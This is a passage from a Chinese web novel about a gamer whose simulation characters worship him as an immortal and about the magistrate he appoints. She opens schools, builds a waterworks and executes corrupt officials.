期间他不是没想过将赵金构用在管理风仙县内,但一点击雇佣,便显示天赋不符导致属性降低的提示出现。 无奈之下,姜定只能暂时将这事放置在一边。 似乎是感受到游戏内他已经出现了进度卡顿,正是他需要之际,恰好有一属性这么高的人出现。 姜定狂喜后,几乎不带考虑,立即将此人命为新上任的县令。 方知意还在静静等待脑内出现仙音。 根据里正所说,若仙师承认她足够资格时,便会在她脑内用仙音和她沟通,与此同时,会赋予她相应的职务。 起初,脑内丝毫反应都无,正当方知意怀疑难不成是她不够资格时,那宛若寒泉流水般的声音缓缓开口。 “既你选择为我效力,从明日起,你即刻前往风仙县,以县令之名整治管理全县。” 第84章 学堂 在听清楚这位所说之话后,方知意脑内“轰隆”一声,理智瞬间被冲得四散 她没听错吧? 刚才她似乎听到这位说让她去当那风仙县县令? 虽说先前方知意也曾想入仕,为黎民百姓做实事,但她也知晓,若在这片土地上想成她心中所想之事,岂是一时半会就能办到的? 但谁能想到,她眼下不过刚来这斗坡村,刚拜见这位仙人,而对方却对自己报有这般信任。 ——一县县令!这岂是随随便便就能给出去的东西! 方知意被这事实冲击在原地,好半天没反应过来,还不等她找机会试探是否是自己听错时,耳边却传来那位清冷的声音。 “你此次前去,便是代表我自身亲临,为服民心,到时我会助你一臂之力,所以你只管放心去做便是。” 这话说完后,方知意只觉得脑内这位似乎是离开了。 一切发生在瞬间。 似乎是注意到她神色呆滞,里正还以为是仙师未曾接纳她,这会倒是不忍心开口细问。 而方知意则是还依旧处在震惊中,也顾不上和里正多说话,且这事她总觉得有些草率了。 想想看,她家中无官身,且她是女子身,若自身上任想必众人定不会服气。 但既这位已放出话来,定是有手段能服众的。 因此事兹大,没到事情既定的那一刻,她决定将这消息死死隐瞒。 而里正则是叹了口气,眼看着方知意走远,心想仙师竟不愿意出来见这小娘子,不知是何意。 不过眼下他还有更要紧的事还未曾完成,那便是先前由张氏牵头,奉命建设的学堂了。 自从风仙县内传来义师军已被处置的好消息后,张氏索性直接轰轰烈烈地展开了招收学生的大动作。 为了更好的将仙师当日所说之话传递下去,张氏思索后还是得出应当开办一场会议,其会议主要内容是讲解学堂所学之物,以及上学的诸多好处。 若只是一纸招募,想必定是说不清楚其中仙师所蕴含的深意的,若学堂招生未能圆满完成仙师的期待,张氏自觉自己将会后悔一辈子。 当然,这事她自然是联络了里正,得需要他的支持才能共同完成。 因村人不日后便都得知那风仙县义师军已退却,这会村内氛围早就不似先前那般凝重,而是能稍稍放松下来。 而在这之间,一则消息则像是长了腿的似的飞了出去。 ——学堂开设了!且此事是仙师提出,或许在学堂内还能学到仙师的几分仙法? 各个摩拳擦掌,一副跃跃欲试的模样。 等到到了开会那天,来的人竟是密密麻麻地将先前的空地占满。 张氏站在台上微微一扫,竟看到了不少附近村落的面孔,除却这些人之外,还有不少压根陌生的人也掺杂在其中。 里正帮着维护秩序,等到感觉差不多时,先是抬手,而后大吼一声。 “安静!” 毕竟张里正算是最先为仙师效力的几人之一,台下立即噤声不敢多言语。 而后张氏脸庞严肃,开始逐字说出学堂招生之事。 起初,在得知学堂内并非是学习仙法时,不少人失落万分,尤其是这学堂每年还需收一两学费,更是劝退了不少本身就不打算学的人。 除却这两个因素,一听到学堂竟然要学习三年甚至更久时,众人心中的那股退意更是强烈。 似乎是察觉到台下众人畏惧的情绪,张氏这才缓缓将最为重要的一点吐出。 “仙师曾亲口告知我,之后会建设更多更轻松,收入更高的职位,但无一例外,都需要对应的学堂经验才可上任,且若是升级到高级班,便可前往仙师身旁做事。 除却这些外,若无力支付每年一两的学费时,可暂时贷款上学,等到三年学成后,会被安排去工作,直到还清欠款才会发放工钱。 当然了,除却这收费的班以外,仙师下令,为了之后生活便捷,以及更好的跟上仙师的步伐,所有在仙师旗下上工之人,必须参加扫盲班,若一日不结业,便一日不能出去赚工钱。” 合着先前的话全是开胃菜,这之后的话才是重磅消息啊。 尤其是附近村落家中有孩子的,这会更是不禁思索开来。 ——家中孩子年纪正合适,不说别的,至少那初级班得去学吧?三年共计三两,等到学成后,便看孩子悟性,若是能继续向上读的话,则是再好不过了。 尤其是到了高级班后,这可是能常在仙师身侧效力啊。 再看看张氏,里正,那豆腐厂的孙宁元,以及地瓜厂的张山,哪个先前不都是普通人,不过运道好,最先受仙师荫庇,这会都成了一厂总管,走到哪里都受人尊敬!那赚钱自不必说,既离那位仙师近,日后想必受到的优待也就更多。 思及此处,这些人不由地意动。 而外面来的商贩也是相同考量,不过他们惊讶的点和这些人不同。 ——一年才一两?这学堂若不是这位仙人主张举办的,他们都不会考虑将孩子送入此学堂内,毕竟这价格实在是太低了!难以想象一年一两的学堂,请的老师会是个什么样。 但话又说回来,既是仙师举办,且听这张氏所言这位已有完善的想法,未来若是想跟这位仙师发展的,这学堂是必须要去的了。 按她所说,若率先进入高级班,那可是有机会在仙师身旁做事的! 这些人原先就将自家孩子送至本县最好的学堂,但可惜的是,眼看大炎朝久乱不已,自己这等出身,仅仅靠着孩子是没办法翻身的。 而现在赫然出现一位仙师,且这位并不拘泥于身份地位,他们何不放手一搏,将孩子送过来? 自家孩子起码是学过今年书的,难不成还要不如这些未曾读书的? 等到轻松超过这些人,到时候他们岂不是比旁人都更快一步得到那位仙人的认可! 脑内极速思索,众人不由意动。 这会都恨不得这会议立刻结束,自己好将家中孩子带来上学。 而还有人则是注意到了扫盲班。 若按张氏所说,只要在仙师旗下工作,扫盲班不曾通过的话,是不允许继续上工的,但若这劳什子扫盲班太难的话,岂不是变着法子的断了他们工作? 立即有人出声询问这扫盲班之事。 倒是张氏继续讲解:“这扫盲班是下班后去上的,每日一个时辰,在正常情况下,一个月后即可结业,且前去扫盲之人,每日都会给一方豆腐作为补偿。” 虽说是用了下班后的时间,但这也有补偿啊!一方豆腐还是很不错的。 不少人心下兴奋,而后又被张氏下一句话打懵。 “扫盲班第一个月未曾过的,第二个月扣除300文,若还未过,则扣除500文,若连续三个月过不了扫盲班,便考虑清退。” 什么!过不了竟然要被辞退?! 原先还有人觉得每日送一块豆腐是好事,毕竟下了班也没啥事,还不如过去呆一个时辰,哪怕混着也好,毕竟能给豆腐呀,但一听到还有辞退的风险,众人均是浑身一寒。 尤其是到第二个月便要扣钱,众人更是心疼得紧。 期间也有人小声表达了不满,但均被张氏淡淡回怼回去。 “扫盲班内容我已看过,若好好学的话,一个月绰绰有余,仙师可是给了三次机会,若都不成,那便是态度问题。” 此话一处,台下众人不敢吭声,至此,会议算是开完了。 人群逐渐散开,而在其中,方知意也快步往客栈赶去。 这学堂有一说一确实新奇,想必是仙师的主意,若是这位的主意的话,学堂开设到风仙县是早晚的事,等她到时上任县令后,或许可率先联系这张氏,毕竟仙师花费如此力气开设学堂,定是有他的用意存在。 明日学堂便会正式开门,若不是她赶时间,必定也会留下来查看一二其内容。 但眼下分明是返回风仙县更为重要,方知意只能回客栈,在留下一人盯着学堂内容后,她和爹娘返回县内。 一路上比她们来时要热闹得多,不少马车满载货物,兴高采烈地离开亦或是前往那村落。 似是被这欢快的氛围所感动,方父不免颇有兴趣。 “这斗坡村一行可真是令我大开眼界,原先不过一落魄小村,现在却因那仙人出世摇身一变,变成如今这般炙手可热的模样,观那村落模样,未来有成为一县之姿啊。” 方母附和点头,“我看那村落现有人数不少,且集市规模不比风仙县小,依我看,不若我们先下手,在那附近购入一处房产,日后定是大有作用。” 方知意正琢磨着先前仙师提及到的县令一事,自然是无暇多参与进爹娘二人的谈话内。 在她发呆之际,那二人已确定好购入房产以作为后手。 这个时候,马车缓缓入城。 不知为何,随着马车入城,方知意的心却是忍不住跳动。 ——进城了,不知仙师会有何动作? 期待间,又是隐隐约约察觉到此刻她竟有些不自觉的恐惧。 恐惧那未知之物,也恐惧她是否能不负仙师所托。 正是心间一团乱麻之际,不知为何,方知意顿觉心头涌出一股淡淡的暖流,而后那股熟悉的寒泉流水声响彻全城。 “风仙县新任县令——方知意,于今日起,受我委托担任此县县令,见她若见我,。” 这声音发出的瞬间,方知意便知晓这便是仙师的手笔了。 而后,全城人则是呆愣片刻,而后不约而同的询问身旁好友,“你听到刚才的声响了没?” 第85章 县令之位 好友眼中亦是有敬畏,“自然,这新县令是何等人物,竟这么快便能得了仙师的青睐?” “方知意此人我似有所耳闻,应当是本县才女之首。” “竟是如此,没想到这仙人用人毫不在乎她是女儿身” “呵呵,我看不一定,若是这方知意和这仙人中间还有别的渊源呢,依我看,还是要对此人多加尊崇才是,免得惹怒了仙人,岂不是自寻死路?” 似二人所想的并非只有他们,其中知晓方知意身份的,大都做出了同样的推测。 虽说直接任命县令有些许草率,但眼下仙人威望非凡,谁会闲的没事干这个时候找不痛快? 毕竟自仙师处置完毕那义师军后,城内几乎所有人都知晓了这位的存在,再加上赵金构在其中出了不少力,眼下风仙县内仙师的威名谁人不知,谁人不晓? 不少学子则将那日仙师出手成为降临日,民间内则是有众百姓将购买的画像贴在家中,日夜跪拜,祈求仙师保佑。 可以说,眼下仙师在风仙县众人眼中,正是那救苦救难的活神仙。 而眼下再次亲自目睹神迹,不曾听过方知意的人先是微楞,而后心中不免好奇。 这方知意到底何许人物?听仙师说这位还是女子,想必定是有大才才能被仙师看重。 也有不少人心里生出了阵阵酸意,心中忍不住愤愤不平。 ——这等好事怎地就没轮到自己?! 这可是一城县令,眼下就这般白白给了一女子!哪怕她是才女那也是有水分啊,毕竟全县才子和才女的数这能一样多嘛! 而原先风仙县内王县令旗下等人,则在听到这声响时也全都呆愣在原地。 本以为他们或许会受到那神秘仙人的惩治,各个仓惶数日后,倒是没想到仙人竟无暇管理他们,而是直接钦点了人过来任命这县令。 思及或许此时是他们表现臣服仙人的好机会,众人不免决定要潜心帮扶这位新县令,毕竟仙人亲口说出,见她若见仙,若是协助管理这个风仙县有功,或许他们还能将功赎罪。 倒也有和方父相熟伙伴,脑内震撼不已。 这方元运道怎地这般好,这回可真是父凭女贵了! 若不是重名的话,想必那方元定能凭借家中女儿一飞冲天! 一想到此种可能,这群人不免嫉妒得双眼发红,虽说是那方家女掌管风仙县,但方父作为方知意的亲爹,怎么都能有点话语权吧? 众人心思各异,但相同的是倒是无一人敢违抗仙师之令,而是心生感慨——现在的求官之道和原先可不同了,现在若想求个一官半职,想必需得到那位仙人的首肯才行。 但如何才能像方知意一般受到仙人的青睐,众人均觉得这事或许还要徐徐图之,毕竟这方法只能从新县令口中得知,所以和这位县令搞好关系便成了他们此时最为重要的一件事。 而随着这声音传递开来,赵金构也不免微微呼吸一滞。 新县令竟然是这方家小娘子! 倒是托白思妙的福,赵金构这段时间没少去查这三才女,所以眼下脑内立即闪过一抹身影 倒是没想到这方小娘子动作如此之快,先前他查出的消息写明这方家女跟着出了城,倒是没想到,这方小娘子竟是去寻找仙师,而后得到了这活计。 不过对于方知意得到县令之位,赵金构也不曾有多余的想法。 反而内心深处还涌出了一股淡淡的喜悦。 ——说实话,他从内心深处便抵触做踏入仕途,若是仙师将这县令之位给他,他反而更要愁眉不展,还得是仙师知晓他心中真实所想,没将此事托付给他,不然他碍于祖母,就算不愿意,也得扛下来了。 既是同僚,赵金构不免生出几分想去拜见对方的想法。 不过思及最近新县令上任要忙的事太多,他索性暂且将此事放在一旁。 而当日,刚返回风仙县内,正思索报社版面设计的孙凝羽则是忍不住呼吸急促 刚才不是她听错了吧?担任新县令的人叫方知意? 心中思索万千,孙凝羽忍不住起身,而后出门去求个亲眼所见。 与此同时,和方知意同在马车上的方父方母则是不自觉揉了揉耳朵,而后二人陷入沉默 等一下,刚才是他耳鸣了吧?怎会生出如此荒唐的想法! 而方母则是不敢置信地缓缓道:“你们可曾听到什么声音?” 原先还以为自己幻听的方父顿时浑身僵硬,而后笑容也僵在了脸上。 所以,先前并非他胡思乱想,竟是真的! 两人不自觉去看女儿,却见方知意脸上挂着笑,浑身忍不住地颤抖。 ——仙师原来是这般帮她的!依仙师本身的威慑力,风仙县内定是反抗的声音很小! 注意到爹娘疑惑的眼神,方知意微收心神,简单大概描述一番前因后果,不过只是粗略描绘,其中更深点的东西为求稳妥,方知意一字未提。 倒是不曾想女儿能有这般大的造化,方家父母欣喜之余便是忧虑。 受到仙人赏识是好事,但能不能把握得住也是一回事。 方母眼神带着些许忧虑,而后拉了拉丈夫的衣袖。 方父会意,不免正色道:“知意,既你有此番造化,为父便去寻你祖父那边关系,看是否能帮你更好服众,省得你单打独斗,手下人不服管理。” 方知意难免意动,父亲和祖父断联已久,眼下为了她,竟又要去求本家。 “父亲不必在意,女儿自会处置好这些事。” 婉拒了父母后,方知意顺着心中萌发出的一阵感悟,自行前往那县衙内。 等到了县衙后,她刚下车,赫然发觉平时冷清的县衙门外,此刻却聚满了人。 这些人大都是过来看看新县令到底是何许人物,这会儿眼内均是充斥着好奇。 也有人在看清楚方知意模样后,嫉妒坏了。 ——竟真是这方家女,攀上了仙人的关系,又得了县令这个职位,这方家恐怕是要一飞冲天了! 虽说方知意也是第一次收到众人眼神汇聚,但她倒也不畏惧。 正打算进入县衙内时,从她身上却忽然爆发出一阵青色的光芒,看到这熟悉的颜色,方知意似心有所感,伸腿向前迈步,脚下正生出朵朵青色莲花。 此番出场,瞬间震撼了当场所有人。 就连先前还有些小心思的人群,在看到此人竟身负异状后,个个胆寒,忙将方知意视为得到仙人权柄的使者,这会不敢有异心。 倒是多靠仙师这番手段,方知意顺利地接管了县令一职。 等到她接手后,看清楚原先那些人究竟是贪了多少,又如何对县内诸事不管不问后,方知意在心中冷笑不已。 死得好啊,若不是仙师出手,这种蛀虫不知还要在这位置上呆多久,又不知要搜刮多少民脂民膏才算完! 为更了解县情,方知意亲自实地走访,观察山川地势,农田水利,百姓生活状况,这番调查却令她心痛不已。 原先那群人搜刮得太狠,导致本地民生维艰,恐要恢复好几年才能缓过来,观其水利建设,方知意却察觉水利建设远远不合格。 因本地本就降雨量不算多,附近农田本就存在浇灌困难等难题,而她走访本地最大的丽河,却发觉这里的水利建设十分不合理,既不能在干旱时引流灌溉农田,亦不能在汛期时承担泄洪蓄水作用,想必原先朝廷派来修筑水利工程的银两全被这群人贪了。 对于水患治理,方知意所学便是从家中藏书阁内水利书籍中学得,除却方家的藏书阁,方父也曾拜访好友,表面是为自己借书,实则是借书给女儿看。 如此辛苦学习有十六余年,再加上她本就聪慧过人,自然是融会贯通,不在话下。 不过眼下在看到丽水的水利布局后,方知意心里不由地一紧。 这丽水竟颇有乾坤,若还按照普通水利修建的话,恐对丽水来说毫无作用。 思及脑内曾见过的水利设计,方知意一时间脑内闪过数个方案,而后却被她一一划掉。 ——均不算完美,还需要再思索一番才是。 面上不显,方知意挥手,先示意负责测绘记录的官员将数据记录到位。 这负责测绘的官员忙点头哈腰,而后一个个测绘,而方知意则凝视这丽水,脑内仍思索不停。 等到最后,她这才无奈叹息。 还是看过的水利修建书籍不够多,虽说已有一方案可作为备选,但始终不是她所想的那般完美。 若采用备选方案,防汛和存蓄只能二选一,但既已耗费诸多人力物力,何不完美处理这丽水之事? 方知意再也忍不住,在脑内呼唤仙师。 期待仙师能帮她指出一条明路。 而与此同时,有一小群人则是等着看这方知意的能耐。 这丽水水利布局实属困难,历久以来便是一道难题,也就先前朝廷下发过来一份水利文档看着还有几分可行性,但后来因贪墨太多,无法顺利按照原计划建设,多年来只能是拆东墙补西墙,不知这新县令上任会如何处置丽水水利一事? 虽说这些人素日里对方知意也是客客气气的,但毕竟她年岁太小,也没做出事业能服人,虽说是仙人亲赋县令之位,但时间久了也会让他们心存懈怠之心。 毕竟仙人忙碌,哪能时时刻刻看着他们? 故而生出了异心。 而与此同时,一则游戏提醒弹跳出来。 【你所任命的县令方知意表示需要更多更专业的书籍,请你帮她寻找专业书籍吧。】 第86章 天才 在看到这则提醒的瞬间,姜定先是懵逼,而后在看清楚方知意此人发生的事后,顿时了悟。 “看来是遇到了一个大事件啊,虽说是特殊人物,但还需要掺杂我的选择。 如果选择成功的话,或许会将此次事件的完成度拉高,从而获得一些隐藏的增长属性或者是其他奖励,若是选择不到位,虽说不至于伤及根本,但总归对我的声誉会造成一些影响。” 姜定自言自语,而后想继续点击,看看是否有其他选项。 很可惜,他点进去只能看到一行空白的框,似乎正等待着他输入 一想到还需要挨个将专业书籍导入进来,姜定不由地脑壳直疼。 有没有什么办法能偷懒呢?或许以后还会有类似情况出现,他总不能每次都屁颠屁颠的找一堆传输吧? 思索之下,姜定看着他打开的专业书籍总页面,突然有了灵感。 有了!他可以试试将这总页面链接复制进去啊,要是走了狗屎运能成的话,或许他之后就不需要再为这事发愁了。 说干就干。 姜定忙复制总页面链接,而后填入这空白框内。 等到眼看着这串链接消失时,他脸上是控制不住的喜色。 成了!还真有用! 还没高兴完,姜定便察觉到游戏画面似乎卡顿了一瞬。 几乎瞬间,姜定反应过来,——天杀的,不会是因为他这番骚操作,游戏反应不过来要卡顿了吧! 心惊肉跳下,他忙想删除这行链接,但鼠标失去了控制,只能眼睁睁的看着页面继续卡顿。 完蛋。 忍不住在心里哀嚎一声,姜定甚至都做好了游戏,电脑全卡死的心理建设后,让他惊讶的事却突然发生了。 先前看似卡顿的页面逐渐恢复过来,而后显示出一行提示。 【你提供的书籍种类十分丰富,是否需要花费一千两将他们填充入你的集闻楼内?】 集闻楼还是姜定自己取的名,正是他前不久弄的报社。 这会看着游戏提醒,姜定不由思索。 仅仅是花费一千两,但是从此以后这些书籍便算是进入了游戏档案内,或许未来他再也不需要去特意去找什么资料给工人看了! 且这游戏自由度很高,若置身于藏书丰富的集闻楼内,或许还会有不少前来看书的人能产出什么灵感作物呢! 想到此手段不过花费一千两,但却好处多多时,姜定大手一挥,豪气地点击同意花费。 等到选项如金光般消散后,姜定这才呼出一口气,打算看看这游戏剧情该如何发展。 而方知意则在呼唤仙师后,整个人处于一种紧绷的状态 仙师这么久没回复她,是否是因为对于她向他求助心有不满? 毕竟仙师刚表露出对她看重,尤其是刚将县令一位交给她,但她却不能完美解决县内问题 思及种种,方知意不由地面色微微变幻。 若是别人或许直接会考虑采用不完美之法,也不会说过来找不痛快,但方知意性子并非那般糊弄凑合,自不会同意敷衍了事,尤其是此事事关百姓未来十几年,几十年,甚至几百年的生计,她如何能凑合了事! 认清楚本心后,方知意微叹一口气,等着仙师的回应。 在她平静下来不出片刻,那清明如流水的美妙声响贯彻脑内。 “水利书籍已放入你手边,除却这水利之法,你下次可去潜灵山集闻楼去借阅书籍。” 这话说完后,脑内声音早就消失不见。 而方知意却感觉到自己兜内似多出一本什么书来。 展开一看,此书封面只写着水利二字,翻开第一页,方知意快速浏览完后,忍不住心神震撼。 ——此等书籍是仙师亲自所写?其内容不似她原先看到的任一水利治理,其观点新奇,且手法胆大,可谓是精妙非常。 方知意敢肯定,若此书出现在市面上,定能吸引一大批人的眼光。 眼看测绘工作还在继续,方知意索性翻开书籍,从中思索感悟丽水的治理之法。 而等她翻阅至一半时,却突然被这案例惊得头皮发麻。 这案例所讲的正是都堰水利修筑,和她所遭遇的丽水困境很是相似。 再细细琢磨研究,扣除其中可能影响施工的因素后,方知意忍不住瞪大双眼,面色震撼,而脑内却是前所未有的清明 丽水之解,竟还有此种解法! 她当时竟然没能想到这一点! 不,是此种修筑法实在是太精妙,她距离书中所写水平还差一截! 只有学过水利的人才会懂得这书中所写的都堰手法是何等精妙,想必想出此法的人绝对是水利方面的天才。 暗自叹息和此人的差距后,方知意立即命人拿出笔墨,而后将脑内设想一股脑倾泻而出。 等到测绘员收工打算跟着回去时,一行人连带着河道督水利官员均被她喊过来看图。 其实在场所有人均晓得这丽水修筑水利的难点痛点,对刚上任县令说实话也没报什么期望。 毕竟连研究水利数几十年的人都没能研究出个完美解法,这新县令不过一十六岁少女,如何能交出一份满意的答卷? 但想到仙人威信,一行人还是乖乖过来看图。 起初,一行人听解法时还面带疲态敷衍,但等听到最为关键处时,一行人均是猛地一个惊醒,而后浑身震颤。 等一下,新县令刚才是不是说了什么了不得的话了? 再看向那图内标记着的一行字,鱼嘴分水堤,四六分水,二八分沙。 众人不免各个惊呆,而后陷入巨大的迷茫中。 丽水竟有此种解法!虽短短一行字,却将难点轻松攻克! 这鱼嘴简直是神来之笔,可将丽水分为内外两部分,冬春枯水季,内河河床低于外河,约六成河水流入内河,四成流入外河,满足灌溉春耕用水,而夏秋洪水季,水位升高,六成河水排入外河,四成注入内河,有效防洪 而那二八分沙,则是利用丽水河流弯道水流规律,表层清水流入内河,底层含沙水流向外河,可减少内江泥沙淤积,使不必如此频繁清理河道泥沙,这可是大大减轻了百姓负担。 原先丽水每年需要组织两次挖掘泥沙工程,搞得百姓怨声载道,但若眼下这新修建之法真能实现,之后丽水最多只需要每隔五年清理一次河道足矣! 思及此法精妙复杂处,众人不免震撼,这等足以记载在本朝水利大事上的设计,一般来说得需思索良久才能有所收获,然眼下此女不过思索片刻,竟能这么快想出解法,不可谓不神奇。 尤观其小小年纪,竟能有如此见解,果真那仙师旗下,人才济济啊! 这会众人先前疲惫敷衍之态瞬间消散,各个忍不住后背直冒冷汗。 ——是他们大意了,能被仙人派来的能有什么酒囊饭袋,他们怎可因对方是一年纪小的女子便轻看? 若不是今日亲眼看到此等精妙绝伦的解法,恐他们一行人继续作死都察觉不了! 除却端正态度外,这群人则是飞速在脑内回想自己先前可有怠慢之处,等在脑内思索出几处不妥后,这会各个均是颤抖不已。 而方知意自是将此一众人表现记在心底。 虽说她是借了仙师的光,但为之后治理更为顺利,这光必须借! 眼看气氛到位,方知意敲打一番众人,而后这水利工程便轰轰烈烈地开始行动了。 不少百姓在得知这一消息时,不免面露绝望。 修建水利或许是好事,但他们现在不过苟活着,饭也吃不饱,如何能去卖力气?这不是要逼死人么。 虽说不满,但想到这新县令可是仙师亲委的,顿时各个没了脾气。 等前一天时,便有官兵敲锣打鼓,走街串巷告知明日每家每户要出一壮丁前去修建。 “县令有令,凡此次参与修整水利工程之人,均管吃,均给工钱,每日工钱为一百文,还望周知!” “若有克扣之人,可随意举报,举报重重有赏!” 两句话顿时让死气沉沉的风仙县炸开了锅。 什么!此次修整水利工程,管吃且还有工钱? 还一百文? “快掐我一下,天下哪有这等好事哎呦!” 本以为是自己日夜发愁此事,这不过是做的美梦罢了,但等胳膊上那疼痛传来时,这人顿时呆愣,而后欣喜若狂。 “仙师在上!仙师显灵!仙师慈悲!” 而后对着那画像长跪不起。 这事发生在不少百姓家中,谁都没想到,新县令一上任,做的第一件事就出乎他们意料。 而不少人则是等着暗中看笑话。 ——若是按照这么造下去,这县内的银两能供挥霍几时? 而与此同时,方知意则是命人打开粮仓。 按道理一县应当储备一万石粮食才对,但当她打开粮仓时,却发觉粮仓内不过两千石粮食!可想而知,这些蛀虫们到底是贪了多少。 不过好在这几人死得仓促,入县的第一日,方知意先借机敲打官兵,而后提拔林良作为县尉。 她看人眼光毒辣,此人倒是颇有能力,但因有原则不被先前的王县令看重,等那汪县尉上任后,自然也对他多番打压,本林良心气皆失,但一朝被提拔,自然是死心塌地,认定了这新县令。 等招纳了这林县尉后,方知意随即带人将几人的库房全都抄公。 抄公之际,满院珠光宝气,此等奢靡绝不是一县令该有,其余几人家中也皆是如此。 期间这几人家属还有携款逃跑的,均被方知意命人追了回来。 不过想到县城未来发展,眼下这些钱财是万万不够的。 第87章 决断 方知意思索一夜,不免将主意打到了暗处的硕鼠身上。 这些日子她忙得脚不沾地,各级官员表面上看着战战兢兢,但实际上她倒是通过账本,从中揪出来数只硕鼠。 将一份名单递给她刚提拔上来的林良后,一场腥风血雨即将展开。 而后仅仅一周,林良带人将那画册上所写之官员家中抄了个遍。 中间自然这些人有所反抗,其中甚至有几家眼看要被捉拿,嘴上仍叫嚣着自己可是黎州某某某的分支,若今日将他拿入大狱中。他日定会有黎州亲属前来替自己要个说法。 这话原原本本的传到了方知意的耳内。 她不禁蹙眉,命令继续执行命令,之后莫说这些官,就算是有从黎州亲下的官员,方知意都想将这群人挨个逮进来质问。 有了方知意的死命令,林良带着人除却抄家外,自是顺道将这些人全都逮走放入大牢,静听方知意处置。 而方知意在得知此消息后,不免缓缓思索。 那贪得多的不如找机会问问仙师该如何处置,至于受贪污影响的家人,虽说罪不至死,但也曾享用过贪款,自然是需要追责的。 思来想去,方知意在修筑水利工程上画了个圈。 既如此,便去修建水利吧,当劳工干个几年才能勉强洗清罪孽。 将这些人的去留安排妥当后,方知意不免呼唤仙师,询问贪墨之首该如何处置。 本以为仙师会有别的解法,却听那清凉的声音缓缓吐出几个字。 “杀,以儆效尤。” 对方说话的语气淡淡的,似乎不带有任何情绪,但方知意仍从这话中揣摩出了几分态度。 虽说仙师素日看着清润温和,但实际在骨子里,他对于恶人,从来是只杀不渡。 思及渡恶人所需花费的精力,方知意不免冷笑。 ——确实如此,这等人何故花费如此多的精力?若从轻处置这些恶人,那真正的好人又当如何自处? 至于对贪墨家属的处置,她则是将自己的想法告知仙师,那位没说什么话,想必是默认了她的处理方式。 既已有仙师指点处置方式,方知意在一声令下后,于午时将贪墨一行人推上绞刑架。 围观人群均是奔走相告,而后各个过来看热闹。 “哎呦喂,这里面竟然有王家人,这位我记得他可是在黎州有亲戚的!” “怕什么,咱们可是仙师旗下的,仙师只要出手,管他黎州幽州,这些人只有摇尾乞怜的份,更别提这群狗官各个吃得肚圆,可曾有管过我等死活?” “的确是该死之际,仙师此举,县令之举,不可谓不振奋人心!” 说什么的都有,百姓们将坏了的烂菜叶子臭鸡蛋恨恨投掷到这些人身上。 而此刻顶着满头的烂菜叶子,满身脏污的一众人则是心神俱惊。 ——谁能料想到他们先前引以为傲的身份,此刻在这新县令眼里什么也算不上! 先前那王县令在位时,到底那位还会顾忌几分他们背后的势力,而这新县令则冷血冷情到恐怖,任凭他们说破了天,依旧将他们送到了这处等待死亡。 伴随着时间一步步流逝,这伙人均是忍不住地开始打摆子。 当时李德一行人死相凄惨,他们不会也要那般死去? 其中还有几人心想若他们真也被那仙人亲自处死,定要挣扎一番才是。 在脑内模拟了数遍大喊怒斥对方没有真仙的宽容,结果那仙人压根没出场,反而是负责动手的刽子手先动了。 因人数太多,这闸首也需要排队,排在后面的,原先还想着怒骂一番的几人看着前人脑袋落地,这会抖得如同秋风落叶。 裤子也不知不觉沾染上了腥臊气味。 等到快轮到他们时,竟是各个丑态百出,徒添了几分笑料。 一连斩首数贪官,此举不可谓不雷霆手段。 一时间,官员们各个惶恐,生怕这股风吹到了自己身上,素日里不符合自身的财力,皆是不敢再做。 除却这些外,方知意也严厉打击凭借官威压人这等乱相。 对于此事,她特意提拔了同为仙师效力的一人,将此人设为巡逻首领,以巡查官员是否有失职。 这人名为方林,以公正不阿为最,自是不怕他出现监守自盗的情况。 带队的队伍自然也是替他配备上了。 当巡逻队出现后,因神出鬼没,各级官员更是战战兢兢,不敢做出出格之事。 先前处置了一大批贪官,仔细清点这群人留下来的财产后,方知意不免勾唇微笑。 暂时来说是够用了,不过此举面临着无人可用的境界,不若以仙师名义招收天下英才,从民间寻找有才之人。 等到第二日,那鲜红的纸张便贴遍全城。 等到众人看清楚是替那位仙师效力,且还能参与本城业务管理时,各个奔走相告。 一时间,县衙人头攒动。 方知意倒是拿出先前早就准备好的校考题目分发下去。 而后倒是真筛选出一批有才有德之人。 至于武将的话,竟也让她找到几人。 此行万分顺利,好像天意如此。 将这些人收纳入县后,方知意总算能暂时松一口气。 而那领头的武将是一名为迟姚的青年。 此人是此次武比魁首,不过倒非本地人,按这姓氏,应当是外来的才是。 不过既仙师未曾提出质疑,那便是这些人都无大碍。 方知意将加固城墙,训练城内官兵的任务纷纷交代下去,而后又单独命令此人出城试探周边是否还有义师军的身影,除却查看义师军,那先前被占据的开元县最好也去查看一番。 迟姚应下此事,带领一众人马出发,而方知意则是命属下准备马车,随即前往那潜灵山。 先前听仙师所说,以后若有事可前去潜灵山集闻楼查看书籍,想必那书籍定是和先前她所看水利书籍一般惊艳。 思索到这可能,方知意不免心头火热。 当然,除却这点,方知意也想去见见许久未曾见过的白思妙。 她第一日回城时,孙凝羽便前来拜见她。 等到和孙姐姐叙旧后,方知意这才了解二人身上发生的隐秘之事。 随即知晓了白思妙目前在那潜灵山的集闻楼研设报社,而后除却这些外,她倒也从孙凝羽这边知晓了城内赵金构创立的百才堂。 既孙白二人无事,方知意始终提着的心总算能放松一二。 等到后期,她更是前去会见这赵金构,与此人交谈百才堂用人一事。 等二人相遇之际,双方均是被对方那不俗的见解所折服,倒是不免产生仙师旗下果然人才颇多的感触。 幸亏有这百才堂的帮助,方知意新政下发的十分顺畅。 眼看风仙县局势暂且控制住,且逐渐转向明朗之际,她这才有时间抽空前去潜灵山一趟。 当然,此处除却去那集闻楼,她更重要的是去联系张氏,将那学堂也开设在本县内。 先前需要人时,方知意顿觉手上无人可用,要不是赵金构的百才堂还有几分助力,眼下她定是困难无比。 若将这学堂开设在本县,之后便可徐徐图之。 思及种种,方知意命车夫跑得速度更快了几分。 而与此同时,先前被击退,狼狈而逃的曹副将则在昏迷了有三天后,这才缓缓转醒。 此时,他们一众人正暂居先前一被攻下的小城内。 此城距离侯天王所在的城区还有几百公里,但先前发生的事他是必须要上报的。 眼内划过一抹畏惧,曹副将匆匆写下信纸,而后唤出信鸽。 这信鸽飞了一天,终于缓缓地站定在正饮酒做乐的侯天王胳膊上。 大殿内金碧辉煌,正是数日来侯天王命人打造而成。 此时他正设宴宴饮,正是众人拍马十分到位之际,信鸽悠悠然而来。 不免有人忙谄笑道:“定是侯小将军传递来的喜讯,他恐是已攻打下那西部地区,迫不及待传讯过来了。” “不愧是天王的亲侄,侯小将军这般英勇善战也颇有天王几分神勇啊,没想到不过三月,竟已将那西部地区全部攻打下来,可真是英雄出少年!” 堂内一片欢乐,似乎是知晓这位侯天王喜拍马,这群人忙不余遗力的吹捧着,喜得侯天王不禁开怀大笑。 “远明确实替义师军屡立奇功,此番归来的话,本王定要给他一份荣誉才是。” 